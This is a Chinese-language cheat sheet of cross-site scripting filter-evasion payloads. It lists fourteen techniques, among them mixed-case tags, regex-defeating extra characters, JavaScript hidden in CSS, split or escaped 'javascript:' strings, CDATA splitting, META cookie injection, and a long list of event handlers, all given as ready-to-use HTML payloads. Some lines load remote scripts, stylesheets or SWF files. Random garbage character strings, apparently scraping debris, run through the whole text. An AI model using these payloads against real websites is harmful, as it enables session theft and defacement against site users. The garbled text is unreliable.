1. 改变字符大小写" [* c+ m( [$ U0 {5 h
7 U0 C5 Z' L7 H 3 H4 G% B3 t; a r! @
/ p) ~# A/ x- Y$ K
<sCript>alert(‘d’)</scRipT>
* X8 d6 E3 y% v* B) A7 Y
- K8 k, d' s) N3 n$ F; C2. 利用多加一些其它字符来规避Regular Expression的检查
5 ^% g/ U: p, o% t, ?! L- k# d1 B
8 k6 |" Z8 a! ?6 a/ U <<script>alert(‘c’)//<</script>
0 O8 L+ Q9 R7 [9 X" w: ?" b! M, t
<SCRIPT a=">" SRC="t.js"></SCRIPT>
7 v2 e. y4 g6 O5 {9 Z" f
2 v j) ]& k9 b4 z; y <SCRIPT =">" SRC="t.js"></SCRIPT>
9 M% M9 X8 S- y1 F; Q6 ?4 A6 I( `3 f- C% \2 @
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
& ?' k1 V. F" r! _# }
* k& i6 g! L2 n! R4 l1 g <SCRIPT "a=’>’" SRC="t.js"></SCRIPT> ?# Y' @' l9 Z
" T) P$ R, m- l- d, z <SCRIPT a=`>` SRC="t.js"></SCRIPT>
3 `1 \) p% `/ g' L* r
6 s D) Y# k5 K8 c <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
8 i6 g2 u6 w/ N
, @0 G0 J- K5 P5 B1 m6 v7 {0 S9 J3. 以其它扩展名取代.js
$ h- O5 {! q, M2 n
- G n' `, k0 _( Y9 g: Q# O% {2 [ <script src="bad.jpg"></script>/ w7 }4 D( t9 f, x, o7 d
( X7 v7 z% n8 ?* c
4. 将Javascript写在CSS档里* H0 V2 m, {" I: `
% Y/ K: v% ~; i4 J+ _: |' g
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
6 L8 D6 M* x' B W, [8 h) g$ ~; s1 Y8 s5 A' E. ~# S; [
example:
8 h: I+ ?: ]6 r) a/ }% A& t5 o( q
body {$ b3 X! ^! B0 S" u9 W5 p$ s/ x
8 }3 a! l+ k* @, x" S* c background-image: url(‘javascript:alert("XSS");’)
7 v3 k0 H, K# S
' S/ D& e1 X. a& H* k }
( h4 J6 H4 L$ h! t
( X0 d# V. ?# M _% v5. 在script的tag里加入一些其它字符# L3 n4 P2 a" L4 l1 \
+ G& T$ S. [# J# F5 W W6 Y2 Q2 S' W <SCRIPT/SRC="t.js"></SCRIPT>
5 m! u9 e" Y3 u8 N
2 c1 n& c0 {% H# h- ^$ v/ I <SCRIPT/anyword SRC="t.js"></SCRIPT>
% E, F5 e: P8 ^: Q6 B8 U" K% R; L5 a: o
6. 使用tab或是new line来规避3 p+ N+ ^5 d j7 E
# A6 d9 r5 C! H$ i+ E
<img src="jav ascr ipt:alert(‘XSS3′)">* j. U) |( k2 ]8 ]( _
0 H0 r0 x' L6 P- T <img src="jav ascr ipt:alert(‘XSS3′)">/ E* i; Z: z- d( X( ]+ V
/ u% \, |. O" Q8 P( [& }' }0 H
<IMG SRC="jav ascript:alert(‘XSS’);">
0 ?! Z9 j+ m/ u6 y3 \/ q; Q, Q
' I4 p- Y) G. k" F -> tag& ~1 |( s% s, j
& B. R* [( M; Z$ K -> new line
4 o, B% R6 J# Z1 v) s4 i
+ ]6 g( n7 e( L7 p/ x" P8 L7. 使用"\"来规避
, m% l, M* ^: Z6 \# | h
. l/ s& |% y, G+ Q: f# J' X <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
5 @/ y# B$ E/ a7 ~; i9 a( g6 U
; M9 Q& a' t# S: `/ w8 l, a <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# p' _ k+ E) A0 Z+ D( i* U( ]
( B3 q, q" J B& W <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">- [+ v" v1 p6 C' k
1 ]8 H P+ s3 I: S( g0 v
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"> i3 w# F' f- Z
; `3 V: t y+ m* P! g: e
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
. r h5 |3 A1 O/ B: a8 ?* f
`: k$ j- T* u( y* \8. 使用Hex encode来规避(也可能会把";"拿掉)
: F/ W5 t4 _9 o) Q( w! B
9 \% k1 d, E( M0 o1 S7 `+ d0 D <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
9 p, |: m& h: k5 h) z$ j# V/ N' |
; v- r+ k# C" Z2 s 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
" F" v6 x0 T8 l A o7 z* U, G$ q/ n* P' i! a3 k
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
7 I& | Z! I5 q8 c2 V! j
# o8 f) D( m" O" D5 Q9 X 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
! V! w S3 f& ^' V" u
! O7 V1 o- C; ?/ Q9 n9. script in HTML tag/ o( Y5 `: d- m4 K
4 A" P# M' T4 }+ d: _- Q
<body onload=」alert(‘onload’)」>
, X8 d }3 a# J, A9 B/ i, d2 N; U2 K! `& d0 K2 t! c# D) }* R
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload/ {8 P+ @' @" N$ R" O0 `7 e
5 b% T% S) e, ~2 h
10. 在swf里含有xss的code! W& t; d; z) I
& Z0 b! Y6 c/ g8 K <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>! k; x: z7 o" V
* V4 ]7 D; ~. \- K: T6 G/ Y11. 利用CDATA将xss的code拆开,再组合起来。
, R7 }* w8 i" v( [4 A
& x2 @) u4 I; G$ `7 e6 x# x3 |1 H <XML ID=I><X><C>, |7 ?' k' U; `
' P( a% N$ |8 O/ n0 N <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
0 {3 m. f# E8 x% ^2 m7 i4 f# L4 w1 _7 |
</C></X>
6 k4 C% U- C9 ~4 X7 M1 \2 Q
7 |7 M# w' v, e+ Y* J/ U </xml># @! Z# g$ b( Z; n
7 A, z( I$ a( ^5 n9 ? <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+ ~( T' `' R% B4 e7 g
1 @1 |- N) u- m4 u; m2 _; d <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>* u; N! x2 y; ~( b# \' c
9 x% s V J- Q( l" z
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
* I- B& u7 l) d8 @+ h" \
" L" X# n8 a$ q& u- H* w12. 利用HTML+TIME。
8 [7 y/ H, _, s, h
- y+ S5 j: C: _& B5 `+ P, N5 p <HTML><BODY>% {+ e- a" `, E5 D1 [, Z2 |
; c4 k" w. f- a/ z+ s4 o$ o5 u% ]
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
$ Q& t- y3 }9 y3 ~5 J$ _" m# h) C
6 V4 H6 j$ f% r/ R* s! S6 | <?import namespace="t" implementation="#default#time2">2 I- i0 d8 U, z
8 u) _" W: d; S: \& g+ p <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">6 i3 R" P7 H6 T4 P
# Y& [% |& G/ \6 T8 m' a; `4 {
</BODY></HTML>
8 D1 h) _* q" ~6 z' A( V
, J. [5 ^7 t' M13. 透过META写入Cookie。$ g7 \. M" h N. L
0 A4 B# ^9 O- ^ <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"># M& F a3 Q& |( ?3 T
% t5 [3 n7 w* U1 T! {) [" l4 S+ O
14. javascript in src , href , url0 m* \4 O$ i, W8 O( b
2 ?/ k6 W4 A$ s* \3 p/ }' M
<IFRAME SRC=javascript:alert(’13′)></IFRAME>- Y% Z$ u2 C. R6 u5 t
1 A' ], n1 S, d1 t6 F+ C, n <img src="javascript:alert(‘XSS3′)">
& K' [. |% A0 `9 ?) B! T" T9 ~2 v- ?4 R# q
<IMG DYNSRC="javascript:alert(‘XSS20′)">3 W# d+ t, L2 W$ ~3 s0 L- O1 F
* U: C! D# s; D3 G- x/ ` <IMG LOWSRC="javascript:alert(‘XSS21′)">, K+ d! O4 z1 p
; H2 S0 i. V) c% s8 o) @7 V <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
( V! y3 e$ e) ^( l- s8 x& B" I- H
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>6 @/ y) M2 h; Q2 a$ E
& H5 \+ G Q+ f, C4 Y( N7 s
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
( c( i2 q% p1 Z) z. I2 ?% O2 L# l' ~; {8 I
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
/ P# E: {% v* F7 v; U2 [! a! r: l! n7 N5 X6 o1 S4 w+ l
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}6 `$ I2 ?' l) t6 p7 ^7 ]$ [( z
5 b6 u" k1 Y9 M, h/ H
</STYLE><A CLASS=XSS></A>& {/ D) `9 R6 O- ?4 M
! l- J) h6 F E, P <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>/ Z; ~9 R* h0 c6 Z% n$ m
. R2 Z$ G' }7 {" T7 K- u, e* C
|